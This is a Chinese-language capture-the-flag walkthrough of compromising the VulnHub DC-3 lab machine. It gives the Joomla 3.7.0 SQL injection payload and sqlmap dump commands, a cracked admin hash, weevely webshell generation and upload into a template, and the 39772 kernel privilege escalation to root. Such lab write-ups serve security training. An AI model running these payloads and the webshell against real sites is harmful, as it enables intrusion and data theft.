这次渗透是DC系列(VulnHub的仿真靶机)的DC-3,包含了提权、传webshell等知识。
VulnHub靶机渗透之DC-3【DC系列】
dc-3靶机下载链接:https://www.vulnhub.com/entry/dc-32,312/
vmware workstation
kali :192.168.124.129
发现主机
nmap扫描局域网发现dc-3的ip —>192.168.124.132
nmap -sP 192.168.124.0/24 |
详细扫描
80端口开放,是个Joomla的cms,但扫描器【nmap、whatweb】和插件【wappalyzer】都没找到版本号。
CMS:Joomla
脚本:php
操作系统:Ubuntu
nmap -A -T4 192.168.124.132 -p1-65535 |
Nmap默认扫描前1000个端口,即1-1000。所以我们要指定端口从1到65535。
常规思路是dirb扫一下目录,dirb目录扫描【dirb用的是默认字典common.txt】:
找到后台地址
因为要查找Joomla版本号,所以用一下Joomla专门的扫描器 joomscan扫一下是否能找到。【Joomscan (Joomla漏洞扫描程序)是一个用Perl编程语言编写的开源工具,可以检测和分析Joomla CMS漏洞。】
joomscan -u 192.168.124.132 |
发现了版本 是3.7.0,还有管理员页面
msf简单搜了一下,最新的利用模块都是2016之前的了,都用不了,版本没跟上。
所以在网上搜一下看看有没有可以直接用poc
poc使用复现成功
http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1) |
确认存在SQL注入漏洞【CVE-2017-8917 SQL注入】
在exploitdb中找到了Joomla 3.7.0的SQL注入漏洞可以利用。【exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。】
searchsploit joomla 3.7.0
然后查看利用方法,exploitdb默认路径是:/usr/share/exploitdb/exploits/
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt |
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] |
详细提供了SQL注入的方法。
用上方提供的注入方法爆出了数据库
sqlmap -u "http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] |
指定数据库:joomadb,爆表
sqlmap -u "http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] |
指定表:__users,爆字段名
sqlmap -u "http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering] |
按需求选择线程数字
指定表:__users,爆字段名
sqlmap -u "http://192.168.124.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password --dump -p list[fullordering] |
admin
2y10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
看见password是hash的,不是md5也不是base64,用john爆破。
用户名:admin
密码: snoopy
后台登录成功,然后寻找可以利用的上传点进行getshell
使用后门生成工具 weevely
【Weevely 是使用python编写的一个用来生成并管理php webshell的安全测试工具,相当于Linux中的php菜刀】
weevely generate <连接密码> <path> |
protostar模板是默认的,所以我们在protostar里面床架一个shell.php
shell代码粘贴到这里,保存成功
进行后门连接成功
weevely http://192.168.124.132/templates/protostar/html/shell.php passwd |
后门连接进行信息收集
查看内核版本信息
使用命令查看内核版本【linux 4.4.0-21】、cpu架构【i686】,发行版【ubuntu 16.04】
lsb_release -a |
发现操作系统发型版ubuntu版本是16.04的
进行提权
exploit-db搜索漏洞
searchsploit ubuntu 16.04 priv |
这个内核版本符合信息搜集到的4.4.0-21
Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation | linux/local/39772.txt
cat /usr/share/exploitdb/exploits/linux/local/39772.txt |
最后一行发现exp下载地址
我kali节点有点问题【wget失败了】,用的本机windows下载的,通过xftp传过去的
通过weevely的文件上传功能传过去
file_upload /home/kali/Desktop/39772.zip shell.zip |
失败了
没有执行权限
解压:unzip 39773.zip #解压39772.zip文件
再解压:tar -xvf exploit.tar #解压exploit提权脚本tar包
切换:cd ebpf_mapfd_doubleput_exploit/
执行: ./compile.sh #执行脚本,编译文件
./doubleput #执行提权文件
然后得到了root权限
总结:
1,分析web应用信息(平台,版本等)
2,利用exploitdb进行查询,简化漏洞挖掘过程。
3,破解密码登录后台,上传webshell。
4,寻找适用的漏洞进行提权。
参考链接:
Vulnhub DC-3 【Nurburgring】
https://blog.csdn.net/weixin_43583637/article/details/101554815